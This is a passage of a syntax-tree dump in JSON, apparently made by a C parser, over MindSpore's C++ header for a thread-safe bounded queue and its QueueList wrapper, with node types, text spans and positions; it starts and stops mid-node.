AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove more than the current queues.\");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n} // namespace dataset\n} // namespace mindspore\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 1473], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 287, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 7}}, {"id": 2, "type": "identifier", "text": "MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_", "parent": 0, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 54}}, {"id": 3, "type": "preproc_def", "text": "#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 7}}, {"id": 5, "type": "identifier", "text": "MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_", "parent": 3, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 54}}, {"id": 6, "type": "preproc_include", "text": "#include <atomic>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<atomic>", "parent": 6, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 17}}, {"id": 9, "type": "preproc_include", "text": "#include <memory>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<memory>", "parent": 9, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 17}}, {"id": 12, "type": "preproc_include", "text": "#include <mutex>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<mutex>", "parent": 12, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 16}}, {"id": 15, "type": "preproc_include", "text": "#include <string>\n", "parent": 0, "children": [16, 17], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<string>", "parent": 15, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 17}}, {"id": 18, "type": "preproc_include", "text": "#include <type_traits>\n", "parent": 0, "children": [19, 20], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 23, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 8}}, {"id": 20, "type": "system_lib_string", "text": "<type_traits>", "parent": 18, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 22}}, {"id": 21, "type": "preproc_include", "text": "#include <utility>\n", "parent": 0, "children": [22, 23], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 8}}, {"id": 23, "type": "system_lib_string", "text": "<utility>", "parent": 21, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 18}}, {"id": 24, "type": "preproc_include", "text": "#include <vector>\n", "parent": 0, "children": [25, 26], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 8}}, {"id": 26, "type": "system_lib_string", "text": "<vector>", "parent": 24, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 17}}, {"id": 27, "type": "preproc_include", "text": "#include \"./securec.h\"\n", "parent": 0, "children": [28, 29], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 8}}, {"id": 29, "type": "string_literal", "text": "\"./securec.h\"", "parent": 27, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 22}}, {"id": 30, "type": "preproc_include", "text": "#include \"utils/ms_utils.h\"\n", "parent": 0, "children": [31, 32], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 31, "type": "#include", "text": "#include", "parent": 30, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 8}}, {"id": 32, "type": "string_literal", "text": "\"utils/ms_utils.h\"", "parent": 30, "children": [], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 27}}, {"id": 33, "type": "preproc_include", "text": "#include \"minddata/dataset/util/allocator.h\"\n", "parent": 0, "children": [34, 35], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 34, "type": "#include", "text": "#include", "parent": 33, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 35, "type": "string_literal", "text": "\"minddata/dataset/util/allocator.h\"", "parent": 33, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 44}}, {"id": 36, "type": "preproc_include", "text": "#include \"minddata/dataset/util/log_adapter.h\"\n", "parent": 0, "children": [37, 38], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 37, "type": "#include", "text": "#include", "parent": 36, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 8}}, {"id": 38, "type": "string_literal", "text": "\"minddata/dataset/util/log_adapter.h\"", "parent": 36, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 46}}, {"id": 39, "type": "preproc_include", "text": "#include \"minddata/dataset/util/services.h\"\n", "parent": 0, "children": [40, 41], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 40, "type": "#include", "text": "#include", "parent": 39, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 8}}, {"id": 41, "type": "string_literal", "text": "\"minddata/dataset/util/services.h\"", "parent": 39, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 43}}, {"id": 42, "type": "preproc_include", "text": "#include \"minddata/dataset/util/cond_var.h\"\n", "parent": 0, "children": [43, 44], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 43, "type": "#include", "text": "#include", "parent": 42, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 44, "type": "string_literal", "text": "\"minddata/dataset/util/cond_var.h\"", "parent": 42, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 43}}, {"id": 45, "type": "preproc_include", "text": "#include \"minddata/dataset/util/task_manager.h\"\n", "parent": 0, "children": [46, 47], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 46, "type": "#include", "text": "#include", "parent": 45, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 8}}, {"id": 47, "type": "string_literal", "text": "\"minddata/dataset/util/task_manager.h\"", "parent": 45, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 47}}, {"id": 48, "type": "function_definition", "text": "namespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << \"Fail to create a queue.\";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove more than the current queues.\");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n}", "parent": 0, "children": [49, 50], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 285, "column": 1}}, {"id": 49, "type": "type_identifier", "text": "namespace", "parent": 48, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 9}}, {"id": 50, "type": "identifier", "text": "mindspore", "parent": 48, "children": [], "start_point": {"row": 34, "column": 10}, "end_point": {"row": 34, "column": 19}}, {"id": 51, "type": "function_definition", "text": "namespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << \"Fail to create a queue.\";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n}", "parent": 48, "children": [52, 53], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 234, "column": 1}}, {"id": 52, "type": "type_identifier", "text": "namespace", "parent": 51, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 9}}, {"id": 53, "type": "identifier", "text": "dataset", "parent": 51, "children": [], "start_point": {"row": 35, "column": 10}, "end_point": {"row": 35, "column": 17}}, {"id": 54, "type": "ERROR", "text": "template <typename T>\nclass Queue", "parent": 51, "children": [55, 63], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 11}}, {"id": 55, "type": "binary_expression", "text": "template <typename T>\nclass", "parent": 54, "children": [56, 60, 62], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 5}}, {"id": 56, "type": "binary_expression", "text": "template <typename", "parent": 55, "children": [57, 58, 59], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 18}}, {"id": 57, "type": "identifier", "text": "template", "parent": 56, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 8}}, {"id": 58, "type": "<", "text": "<", "parent": 56, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 10}}, {"id": 59, "type": "identifier", "text": "typename", "parent": 56, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 18}}, {"id": 60, "type": "ERROR", "text": "T", "parent": 55, "children": [61], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 20}}, {"id": 61, "type": "identifier", "text": "T", "parent": 60, "children": [], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 20}}, {"id": 62, "type": ">", "text": ">", "parent": 55, "children": [], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 21}}, {"id": 63, "type": "identifier", "text": "Queue", "parent": 54, "children": [], "start_point": {"row": 38, "column": 6}, "end_point": {"row": 38, "column": 11}}, {"id": 64, "type": "labeled_statement", "text": "public:\n using value_type = T;", "parent": 51, "children": [65], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 40, "column": 23}}, {"id": 65, "type": "declaration", "text": "using value_type = T;", "parent": 64, "children": [66, 67], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 40, "column": 23}}, {"id": 66, "type": "type_identifier", "text": "using", "parent": 65, "children": [], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 40, "column": 7}}, {"id": 67, "type": "init_declarator", "text": "value_type = T", "parent": 65, "children": [68, 69, 70], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 22}}, {"id": 68, "type": "identifier", "text": "value_type", "parent": 67, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 18}}, {"id": 69, "type": "=", "text": "=", "parent": 67, "children": [], "start_point": {"row": 40, "column": 19}, "end_point": {"row": 40, "column": 20}}, {"id": 70, "type": "identifier", "text": "T", "parent": 67, "children": [], "start_point": {"row": 40, "column": 21}, "end_point": {"row": 40, "column": 22}}, {"id": 71, "type": "declaration", "text": "using pointer = T *;", "parent": 51, "children": [72, 73, 77], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 22}}, {"id": 72, "type": "type_identifier", "text": "using", "parent": 71, "children": [], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 7}}, {"id": 73, "type": "init_declarator", "text": "pointer = T", "parent": 71, "children": [74, 75, 76], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 19}}, {"id": 74, "type": "identifier", "text": "pointer", "parent": 73, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 15}}, {"id": 75, "type": "=", "text": "=", "parent": 73, "children": [], "start_point": {"row": 41, "column": 16}, "end_point": {"row": 41, "column": 17}}, {"id": 76, "type": "identifier", "text": "T", "parent": 73, "children": [], "start_point": {"row": 41, "column": 18}, "end_point": {"row": 41, "column": 19}}, {"id": 77, "type": "ERROR", "text": "*", "parent": 71, "children": [78], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 78, "type": "*", "text": "*", "parent": 77, "children": [], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 79, "type": "declaration", "text": "using const_pointer = const T *;", "parent": 51, "children": [80, 81, 84], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 34}}, {"id": 80, "type": "type_identifier", "text": "using", "parent": 79, "children": [], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 7}}, {"id": 81, "type": "init_declarator", "text": "const_pointer = const", "parent": 79, "children": [82, 83], "start_point": {"row": 42, "column": 8}, "end_point": {"row": 42, "column": 29}}, {"id": 82, "type": "identifier", "text": "const_pointer", "parent": 81, "children": [], "start_point": {"row": 42, "column": 8}, "end_point": {"row": 42, "column": 21}}, {"id": 83, "type": "=", "text": "=", "parent": 81, "children": [], "start_point": {"row": 42, "column": 22}, "end_point": {"row": 42, "column": 23}}, {"id": 84, "type": "ERROR", "text": "T *", "parent": 79, "children": [85, 86], "start_point": {"row": 42, "column": 30}, "end_point": {"row": 42, "column": 33}}, {"id": 85, "type": "identifier", "text": "T", "parent": 84, "children": [], "start_point": {"row": 42, "column": 30}, "end_point": {"row": 42, "column": 31}}, {"id": 86, "type": "*", "text": "*", "parent": 84, "children": [], "start_point": {"row": 42, "column": 32}, "end_point": {"row": 42, "column": 33}}, {"id": 87, "type": "declaration", "text": "using reference = T &;", "parent": 51, "children": [88, 89], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 43, "column": 24}}, {"id": 88, "type": "type_identifier", "text": "using", "parent": 87, "children": [], "start_point": {"row": 43, "column": 2}, "end_point": {"row": 43, "column": 7}}, {"id": 89, "type": "init_declarator", "text": "reference = T", "parent": 87, "children": [90, 91, 92], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 21}}, {"id": 90, "type": "identifier", "text": "reference", "parent": 89, 